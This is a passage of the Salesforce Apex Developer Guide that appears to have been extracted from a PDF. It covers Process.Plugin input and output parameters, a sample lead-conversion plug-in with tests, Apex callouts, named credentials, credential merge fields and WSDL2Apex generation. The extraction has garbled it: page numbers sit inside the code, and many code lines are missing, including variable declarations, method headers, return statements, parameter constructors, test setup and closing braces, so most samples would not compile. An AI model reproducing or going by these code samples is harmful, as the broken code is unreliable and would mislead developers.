• Process.PluginDescribeResult.InputParameter
• Process.PluginDescribeResult.OutputParameter
Process.PluginDescribeResult.InputParameter is a list of input parameters and has the following format.
Process.PluginDescribeResult.inputParameters =
new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required)
For example:
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('FullName',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('DOB',
Process.PluginDescribeResult.ParameterType.DATE, true),
};
Process.PluginDescribeResult.OutputParameter is a list of output parameters and has the following format.
Process.PluginDescribeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum)
For example:
result.setDescription('this plugin gets the name of a user');
464
result.setTag ('userinfo');
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING),
Both classes take the Process.PluginDescribeResult.ParameterType Enum. Valid values are:

• BOOLEAN
• DATE
• DATETIME
• DECIMAL
• DOUBLE
• FLOAT
• ID
• INTEGER
• LONG
• STRING
For example:
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.OutputParameter('STATUS',
};
Process.Plugin Data Type Conversions

Understand how data types are converted between Apex and the values returned to the Process.Plugin. For example, text data
in a flow converts to string data in Apex.
Flow Data Type Data Type

Number Decimal
Date Datetime/Date
DateTime Datetime/Date
Boolean Boolean and numeric with 1 or 0 values only
Text String
465
Sample Process.Plugin Implementation for Lead Conversion

In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and
optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via an Apex
plug-in element.
// Converts a lead as a step in a Visual Workflow process.

global class VWFConvertLead implements Process.Plugin {
// This method runs when called by a flow's Apex plug-in element.
global Process.PluginResult invoke(
Process.PluginRequest request) {
// Set up variables to store input parameters from

// the flow.
String leadID = (String) request.inputParameters.get(
'LeadID');
String contactID = (String)
request.inputParameters.get('ContactID');
String accountID = (String)
request.inputParameters.get('AccountID');
String convertedStatus = (String)
request.inputParameters.get('ConvertedStatus');
Boolean overWriteLeadSource = (Boolean)
request.inputParameters.get('OverwriteLeadSource');
Boolean createOpportunity = (Boolean)
request.inputParameters.get('CreateOpportunity');
String opportunityName = (String)
request.inputParameters.get('ContactID');
Boolean sendEmailToOwner = (Boolean)
request.inputParameters.get('SendEmailToOwner');
// Set the default handling for booleans.

if (overWriteLeadSource == null)
overWriteLeadSource = false;
if (createOpportunity == null)
createOpportunity = true;
if (sendEmailToOwner == null)
sendEmailToOwner = false;
// Convert the lead by passing it to a helper method.

result = convertLead(leadID, contactID, accountID,
convertedStatus, overWriteLeadSource,
createOpportunity, opportunityName,
sendEmailToOwner);

}
466
// This method describes the plug-in and its inputs from

// and outputs to the flow.
// Implementing this method adds the class to the
// Cloud Flow Designer palette.
// Set up plugin metadata
Process.PluginDescribeResult result = new
Process.PluginDescribeResult();
result.description =
'The LeadConvert Flow Plug-in converts a lead into ' +
'an account, a contact, and ' +
'(optionally)an opportunity.';
result.tag = 'Lead Management';
// Create a list that stores both mandatory and optional

// input parameters from the flow.
// NOTE: Only primitive types (STRING, NUMBER, etc.) are
// supported at this time.
// Collections are currently not supported.
// Lead ID (mandatory)
new Process.PluginDescribeResult.InputParameter(
'LeadID',
Process.PluginDescribeResult.ParameterType.STRING,
true),
// Account Id (optional)
'AccountID',
false),
// Contact ID (optional)
'ContactID',
false),
// Status to use once converted
'ConvertedStatus',
true),
'OpportunityName',
false),
'OverwriteLeadSource',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
'CreateOpportunity',
false),
467
'SendEmailToOwner',
false)
};
// Create a list that stores output parameters sent

// to the flow.
result.outputParameters = new List<
Process.PluginDescribeResult.OutputParameter>{
// Account ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'AccountID',
// Contact ID of the converted lead
'ContactID',
// Opportunity ID of the converted lead
'OpportunityID',
Process.PluginDescribeResult.ParameterType.STRING)
};
return result;
}
/**
* Implementation of the LeadConvert plug-in.
* Converts a given lead with several options:
* leadID - ID of the lead to convert
* contactID -
* accountID - ID of the Account to attach the converted
* Lead/Contact/Opportunity to.
* convertedStatus -
* overWriteLeadSource -
* createOpportunity - true if you want to create a new
* Opportunity upon conversion
* opportunityName - Name of the new Opportunity.
* sendEmailtoOwner - true if you are changing owners upon
* conversion and want to notify the new Opportunity owner.
*
* returns: a Map with the following output:
* AccountID - ID of the Account created or attached
* to upon conversion.
* ContactID - ID of the Contact created or attached
* to upon conversion.
* OpportunityID - ID of the Opportunity created
* upon conversion.
*/
public Map<String,String> convertLead (
String leadID,
String contactID,
String accountID,
468
String convertedStatus,
Boolean overWriteLeadSource,
Boolean createOpportunity,
String opportunityName,
Boolean sendEmailToOwner
) {
Map<String,String> result = new Map<String,String>();
if (leadId == null) throw new ConvertLeadPluginException(

'Lead Id cannot be null');
// check for multiple leads with the same ID

Lead[] leads = [Select Id, FirstName, LastName, Company
From Lead where Id = :leadID];
if (leads.size() > 0) {
Lead l = leads[0];
// CheckAccount = true, checkContact = false
if (accountID == null && l.Company != null) {
Account[] accounts = [Select Id, Name FROM Account
where Name = :l.Company LIMIT 1];
if (accounts.size() > 0) {
accountId = accounts[0].id;
}
}
// Perform the lead conversion.

lc.setLeadId(leadID);
lc.setOverwriteLeadSource(overWriteLeadSource);
lc.setDoNotCreateOpportunity(!createOpportunity);
lc.setConvertedStatus(convertedStatus);
if (sendEmailToOwner != null) lc.setSendNotificationEmail(
sendEmailToOwner);
if (accountId != null && accountId.length() > 0)
lc.setAccountId(accountId);
if (contactId != null && contactId.length() > 0)
lc.setContactId(contactId);
if (createOpportunity) {
lc.setOpportunityName(opportunityName);
}
Database.LeadConvertResult lcr = Database.convertLead(

lc, true);
if (lcr.isSuccess()) {
result.put('AccountID', lcr.getAccountId());
result.put('ContactID', lcr.getContactId());
if (createOpportunity) {
result.put('OpportunityID',
lcr.getOpportunityId());
}
} else {
String error = lcr.getErrors()[0].getMessage();
throw new ConvertLeadPluginException(error);
}
469
} else {
throw new ConvertLeadPluginException(
'No leads found with Id : "' + leadId + '"');
}
return result;
}
// Utility exception class

class ConvertLeadPluginException extends Exception {}
}
// Test class for the lead convert Apex plug-in.

@isTest
private class VWFConvertLeadTest {
static testMethod void basicTest() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
LeadStatus convertStatus =
[Select Id, MasterLabel from LeadStatus
where IsConverted=true limit 1];
// Create test conversion

VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new

Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead = [select name, id, isConverted

from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
/*
* This tests lead conversion with
* the Account ID specified.
*/
static testMethod void basicTestwithAccount() {
// Create test lead

insert testLead;
470
Account testAccount = new Account(name='Test Account');

insert testAccount;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel

from LeadStatus where IsConverted=true limit 1];

inputParams.put('AccountID',testAccount.ID);

Lead aLead =
[select name, id, isConverted, convertedAccountID
//System.debug('ACCOUNT AFTER' + aLead.convertedAccountID);
System.AssertEquals(testAccount.ID, aLead.convertedAccountID);
}
/*
* This tests lead conversion with the Account ID specified.
*/
static testMethod void basicTestwithAccounts() {
// Create test lead

insert testLead;
Account testAccount1 = new Account(name='Test Lead');

insert testAccount1;
Account testAccount2 = new Account(name='Test Lead');
insert testAccount2;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);


471


Lead aLead =
[select name, id, isConverted, convertedAccountID
}
/*
* -ve Test
*/
static testMethod void errorTest() {
// Create test lead

// Lead testLead = new Lead(Company='Test Lead',
// FirstName='John',LastName='Doe');

inputParams.put('LeadID','00Q7XXXXxxxxxxx');
inputParams.put('ConvertedStatus',convertStatus.MasterLabel);

try {
}
catch (Exception e) {
System.debug('EXCEPTION' + e);
System.AssertEquals(1,1);
}
/*
* This tests the describe() method
*/
472
Apex Developer Guide Integration and Apex Utilities
static testMethod void describeTest() {
VWFConvertLead aLeadPlugin =
new VWFConvertLead();
Process.PluginDescribeResult result =
aLeadPlugin.describe();
result.inputParameters.size(), 8);
result.OutputParameters.size(), 3);
Integration and Apex Utilities

Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data security,
and encoding. A general-purpose utility for regular expressions with text strings is also provided.
IN THIS SECTION:
Invoking Callouts Using Apex
JSON Support
JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization
of serialized JSON content.
XML Support
Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.
Securing Your Data
You can secure your data by using the methods provided by the Crypto class.
Encoding Your Data
You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the EncodingUtil
class.
Using Patterns and Matchers
Apex provides patterns and matchers that enable you to search text using regular expressions.

An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending
a HTTP request from Apex code and then receiving the response. Apex provides integration with Web services that utilize SOAP and
WSDL, or HTTP services (RESTful services).
Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout
fails. Salesforce prevents calls to unauthorized network addresses.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see “Define a Named Credential” in the Salesforce Help.
473
To learn more about the types of callouts, see:

• SOAP Services: Defining a Class from a WSDL Document on page 479
• Invoking HTTP Callouts on page 491
• Asynchronous Callouts for Long-Running Requests on page 503
Tip: Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application to invoke
Apex methods through Web services.
IN THIS SECTION:
1. Adding Remote Site Settings
2. Named Credentials as Callout Endpoints
A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce
manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have
to. You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named
credential.
3. SOAP Services: Defining a Class from a WSDL Document
4. Invoking HTTP Callouts
5. Using Certificates
6. Callout Limits and Limitations
7. Make Long-Running Callouts from a Visualforce Page
Use asynchronous callouts to make long-running requests from a Visualforce page to an external Web service and process responses
in callback methods. Asynchronous callouts that are made from a Visualforce page don’t count toward the Apex limit of 10 synchronous
requests that last longer than five seconds. As a result, you can make more long-running callouts and you can integrate your Visualforce
pages with complex back-end assets.
Adding Remote Site Settings

Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce
prevents calls to unauthorized network addresses.
Note: If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named
credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named
credentials, see “Define a Named Credential” in the Salesforce Help.
To add a remote site setting:
1. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings.
2. Click New Remote Site.
3. Enter a descriptive term for the Remote Site Name.
4. Enter the URL for the remote site.
5. Optionally, enter a description of the site.
6. Click Save.
474

A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce
manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.
You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named
credential.
By separating the endpoint URL and authentication from the callout definition, named credentials make callouts easier to maintain. For
example, if an endpoint URL changes, you update only the named credential. All callouts that reference the named credential simply
continue to work.
If you have multiple orgs, you can create a named credential with the same name but with a different endpoint URL in each org. You
can then package and deploy—on all the orgs—one callout definition that references the shared name of those named credentials.
For example, the named credential in each org can have a different endpoint URL to accommodate differences in development and
production environments. If an Apex callout specifies the shared name of those named credentials, the Apex class that defines the callout
can be packaged and deployed on all those orgs without programmatically checking the environment.
To reference a named credential from a callout definition, use the named credential URL. A named credential URL contains the scheme
callout:, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
You can append a query string to a named credential URL. Use a question mark (?) as the separator between the named credential URL
and the query string. For example: callout:My_Named_Credential/some_path?format=json.
Example: In the following Apex code, a named credential and an appended path specify the callout’s endpoint.
req.setEndpoint('callout:My_Named_Credential/some_path');
System.debug(res.getBody());
The referenced named credential specifies the endpoint URL and the authentication settings.
If you use OAuth instead of password authentication, the Apex code remains the same. The authentication settings differ in the
named credential, which references an authentication provider that’s defined in the org.
475
In contrast, let’s see what the Apex code looks like without a named credential. Notice that the code becomes more complex to
handle authentication, even if we stick with basic password authentication. Coding OAuth is even more complex and is an ideal
use case for named credentials.
req.setEndpoint('https://my_endpoint.example.com/some_path');
// Because we didn't set the endpoint as a named credential,

// our code has to specify:
// - The required username and password to access the endpoint
// - The header and header information
String username = 'myname';

String password = 'mypwd';
Blob headerValue = Blob.valueOf(username + ':' + password);

String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);
// Create a new http object to send the request object

// A response object is generated as a result of the request

System.debug(res.getBody());
IN THIS SECTION:
1. Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable
this option. Your Apex code can also use merge fields to construct each callout’s HTTP header and body.
476
2. Merge Fields for Apex Callouts That Use Named Credentials

To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge
fields in your Apex code.
SEE ALSO:
Salesforce Help: Define a Named Credential
Salesforce Help: External Authentication Providers
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable this
option. Your Apex code can also use merge fields to construct each callout’s HTTP header and body.
This flexibility enables you to use named credentials in special situations. For example, some remote endpoints require security tokens
or encrypted credentials in request headers. Some remote endpoints expect usernames and passwords in XML or JSON message bodies.
Customize the callout headers and bodies as needed.
The Salesforce admin must set up the named credential to allow Apex code to construct headers or use merge fields in HTTP headers
or bodies. The following table describes these callout options for the named credential.
Field Description
Generate Authorization Header By default, Salesforce generates an authorization header and applies it to
each callout that references the named credential.
Deselect this option only if one of the following statements applies.
• The remote endpoint doesn’t support authorization headers.
• The authorization headers are provided by other means. For example, in
Apex callouts, the developer can have the code construct a custom
authorization header for each callout.
This option is required if you reference the named credential from an external
data source.
Allow Merge Fields in HTTP Header In each Apex callout, the code specifies how the HTTP header and request
Allow Merge Fields in HTTP Body body are constructed. For example, the Apex code can set the value of a
cookie in an authorization header.
These options enable the Apex code to use merge fields to populate the
HTTP header and request body with org data when the callout is made.
These options aren’t available if you reference the named credential from an
external data source.
SEE ALSO:
Merge Fields for Apex Callouts That Use Named Credentials
Salesforce Help: Define a Named Credential
477
Merge Fields for Apex Callouts That Use Named Credentials

To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge
fields in your Apex code.
Merge Field Description

{!$Credential.Username} Username and password of the running user. Available only if the named
{!$Credential.Password} credential uses password authentication.
// non-standard authentication
req.setHeader('X-Username',
'{!$Credential.UserName}');
req.setHeader('X-Password',
'{!$Credential.Password}');
{!$Credential.OAuthToken} OAuth token of the running user. Available only if the named credential uses
OAuth authentication.
// The external system expects “OAuth” as
// the prefix for the access token.
req.setHeader('Authorization', 'OAuth
{!$Credential.OAuthToken}');
{!$Credential.AuthorizationMethod} Valid values depend on the authentication protocol of the named credential.
• Basic—password authentication
• Bearer—OAuth 2.0
• null—no authentication
{!$Credential.AuthorizationHeaderValue} Valid values depend on the authentication protocol of the named credential.
• Base-64 encoded username and password—password
authentication
• OAuth token—OAuth 2.0
• null—no authentication
{!$Credential.OAuthConsumerKey} Consumer key. Available only if the named credential uses OAuth
authentication.
Note:
• When you use these merge fields in HTTP request bodies of callouts, you can apply the HTMLENCODE formula function to
escape special characters. Other formula functions aren't supported, and HTMLENCODE can’t be used on merge fields in
HTTP headers. The following example escapes special characters that are in the credentials.
req.setBody('UserName:{!HTMLENCODE($Credential.Username)}')
req.setBody('Password:{!HTMLENCODE($Credential.Password)}')
478
• When you use these merge fields in SOAP API calls, OAuth access tokens aren’t refreshed.
SEE ALSO:
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Knowledge Article: Named credential OAuth token doesn't get automatically refreshed with Salesforce SOAP API endpoint
SOAP Services: Defining a Class from a WSDL Document

Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by
consuming a WSDL document allows developers to make callouts to the external Web service in their Apex code.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only
when necessary.
To generate an Apex class from a WSDL:
1. In the application, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is
the basis for the Apex class you are creating.
Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
• 80: This port only accepts HTTP connections.
• 443: This port only accepts HTTPS connections.
• 1024–66535 (inclusive): These ports accept HTTP or HTTPS connections.
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in
the WSDL document and reports any errors. Parsing fails if the WSDL contains schema types or constructs that aren’t supported by
Apex classes, or if the resulting classes exceed the 1 million character limit on Apex classes. For example, the Salesforce SOAP API
WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class
name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from
other classes. The page also provides a link to view successfully generated code.
The successfully generated Apex classes include stub and type classes for calling the third-party Web service represented by the WSDL
document. These classes allow you to call the external Web service from Apex. For each generated class, a second class is created with
the same name and with a prefix of Async. The first class is for synchronous callouts. The second class is for asynchronous callouts. For
more information about asynchronous callouts, see Make Long-Running Callouts from a Visualforce Page.
Note the following about the generated Apex:
• If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example,
limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords. For details on handling
characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs.
• If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an
inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.
479
• Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are replaced by
underscores (_) in the generated Apex code.
After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.
Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Generated
WSDL2Apex Code and add it to your organization.
Invoking an External Service

To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex code
and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could write code similar to
the following:
// Create the stub
strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap();
// Set up the license header

dns.LicenseInfo = new strikeiron.LicenseInfo();
dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser();
dns.LicenseInfo.RegisteredUser.UserID = 'you@company.com';
dns.LicenseInfo.RegisteredUser.Password = 'your-password';
// Make the Web service call

strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');
HTTP Header Support

You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization
header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub.
Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type
header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header.
The following samples work with the sample WSDL file in Generated WSDL2Apex Code on page 484:
Sending HTTP Headers on a Web Service Callout

docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.inputHttpHeaders_x = new Map<String, String>();
//Setting a basic authentication header
stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==');
//Setting a cookie header

stub.inputHttpHeaders_x.put('Cookie', 'name=value');
//Setting a custom HTTP header

stub.inputHttpHeaders_x.put('myHeader', 'myValue');
String input = 'This is the input string';

String output = stub.EchoString(input);
If a value for inputHttpHeaders_x is specified, it overrides the standard headers set.
480
Accessing HTTP Response Headers from a Web Service Callout Response

stub.outputHttpHeaders_x = new Map<String, String>();
//Getting cookie header

String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');
//Getting custom header

String myHeader = stub.outputHttpHeaders_x.get('My-Header');
The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the
content of headers in the response.
Supported WSDL Features

Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes:
Schema Type Apex Type

xsd:anyURI String
xsd:boolean Boolean
xsd:date Date
xsd:dateTime Datetime
xsd:double Double
xsd:float Double
xsd:int Integer
xsd:integer Integer
xsd:language String
xsd:long Long
xsd:Name String
xsd:NCName String
xsd:nonNegativeInteger Integer
xsd:NMTOKEN String
xsd:NMTOKENS String
xsd:normalizedString String
xsd:NOTATION String
xsd:positiveInteger Integer
xsd:QName String
481
Schema Type Apex Type

xsd:short Integer
xsd:string String
xsd:time Datetime
xsd:token String
xsd:unsignedInt Integer
xsd:unsignedLong Long
xsd:unsignedShort Integer
Note: The Salesforce datatype anyType is not supported in WSDLs used to generate Apex code that is saved using API version
15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String.
Apex also supports the following schema constructs:
• xsd:all, in Apex code saved using API version 15.0 and later
• xsd:annotation, in Apex code saved using API version 15.0 and later
• xsd:attribute, in Apex code saved using API version 15.0 and later
• xsd:choice, in Apex code saved using API version 15.0 and later
• xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following
restrictions:
– You cannot call a ref in a different namespace.
– A global element cannot use ref.
– If an element contains ref, it cannot also contain name or type.
• xsd:sequence
The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web service
method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external Web service.
• blob
• decimal
• enum
Apex does not support any other WSDL constructs, types, or services, including:
• RPC/encoded services
• WSDL files with multiple portTypes, multiple services, or multiple bindings
• WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not
supported:
<wsdl:types>
<xsd:schema
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:include schemaLocation="AmazonS3.xsd"/>
482
</xsd:schema>
</wsdl:types>
However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL
you are converting:
<wsdl:types>
<xsd:schema
xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:element name="CreateBucket">
<xsd:complexType>
<xsd:sequence>
[...]
</xsd:schema>
</wsdl:types>
• Any schema types not documented in the previous table

• WSDLs that exceed the size limit, including the Salesforce WSDLs
• WSDLs that don’t use the document literal wrapped style. The following WSDL snippet doesn’t use document literal wrapped style
and results in an “Unable to find complexType” error when imported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse"/>
<xsd:simpleType name="SFDCPollResponse">
<xsd:restriction base="xsd:string" />
</xsd:simpleType>
</xsd:schema>
</wsdl:types>
This modified version wraps the simpleType element as a complexType that contains a sequence of elements. This follows
the document literal style and is supported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse" />
<xsd:complexType name="SFDCPollResponse">
<xsd:sequence>
<xsd:element name="SFDCOutput" type="xsd:string" />
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
</wsdl:types>
483
IN THIS SECTION:
1. Generated WSDL2Apex Code
You can generate Apex classes from a WSDL document using the WSDL2Apex tool. The WSDL2Apex tool is open source and part
of the Force.com IDE plug-in for Eclipse.
2. Test Web Service Callouts
Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package
this Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated
class. By default, test methods don’t support web service callouts, and tests that perform web service callouts fail. To prevent tests
from failing and to increase code coverage, Apex provides the built-in WebServiceMock interface and the Test.setMock
method. Use WebServiceMock and Test.setMock to receive fake responses in a test method.
3. Performing DML Operations and Mock Callouts
4. Considerations Using WSDLs
Generated WSDL2Apex Code

You can generate Apex classes from a WSDL document using the WSDL2Apex tool. The WSDL2Apex tool is open source and part of the
Force.com IDE plug-in for Eclipse.
You can find and contribute to the WSDL2Apex source code in the WSDL2Apex repository on GitHub.
The following example shows how an Apex class is created from a WSDL document. The Apex class is auto-generated for you when you
import the WSDL.
The following code shows a sample WSDL document.
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://doc.sample.com/docSample"
targetNamespace="http://doc.sample.com/docSample"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">


<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://doc.sample.com/docSample">
<s:element name="EchoString">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="EchoStringResponse">
<s:complexType>
484
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>

<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>

<wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType">

<wsdl:operation name="EchoString">
<soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString"
style="document" />
<wsdl:input>
<soap:body use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body use="literal" />
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://YourServer/YourService" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
From this WSDL document, the following Apex class is auto-generated. The class name docSample is the name you specify when
importing the WSDL.
//Generated by wsdl2apex
485
public class docSample {

public class EchoStringResponse_element {
public String EchoStringResult;
private String[] EchoStringResult_type_info = new String[]{
'EchoStringResult',
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'true','false'};
private String[] field_order_type_info = new String[]{
'EchoStringResult'};
}
public class EchoString_element {
public String input;
private String[] input_type_info = new String[]{
'input',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'true','false'};
private String[] field_order_type_info = new String[]{'input'};
}
public class DocSamplePort {
public String endpoint_x = 'http://YourServer/YourService';
public Map<String,String> inputHttpHeaders_x;
public Map<String,String> outputHttpHeaders_x;
public String clientCertName_x;
public String clientCert_x;
public String clientCertPasswd_x;
public Integer timeout_x;
private String[] ns_map_type_info = new String[]{
'http://doc.sample.com/docSample', 'docSample'};
public String EchoString(String input) {
docSample.EchoString_element request_x = new
docSample.EchoString_element();
request_x.input = input;
docSample.EchoStringResponse_element response_x;
Map<String, docSample.EchoStringResponse_element> response_map_x =
new Map<String, docSample.EchoStringResponse_element>();
response_map_x.put('response_x', response_x);
WebServiceCallout.invoke(
this,
request_x,
response_map_x,
new String[]{endpoint_x,
'urn:dotnet.callouttest.soap.sforce.com/EchoString',
'EchoString',
'EchoStringResponse',
'docSample.EchoStringResponse_element'}
);
486
response_x = response_map_x.get('response_x');
return response_x.EchoStringResult;
}
}
}
Note the following mappings from the original WSDL document:

• The WSDL target namespace maps to the Apex class name.
• Each complex type becomes a class. Each element in the type is a public field in the class.
• The WSDL port name maps to the stub class.
• Each operation in the WSDL maps to a public method.
You can use the auto-generated docSample class to invoke external Web services. The following code calls the echoString
method on the external server.
Test Web Service Callouts

Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package this
Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated class. By
default, test methods don’t support web service callouts, and tests that perform web service callouts fail. To prevent tests from failing
and to increase code coverage, Apex provides the built-in WebServiceMock interface and the Test.setMock method. Use
WebServiceMock and Test.setMock to receive fake responses in a test method.
Specify a Mock Response for Testing Web Service Callouts

When you create an Apex class from a WSDL, the methods in the auto-generated class call WebServiceCallout.invoke, which
performs the callout to the external service. When testing these methods, you can instruct the Apex runtime to generate a fake response
whenever WebServiceCallout.invoke is called. To do so, implement the WebServiceMock interface and specify a fake
response for the Apex runtime to send. Here are the steps in more detail.
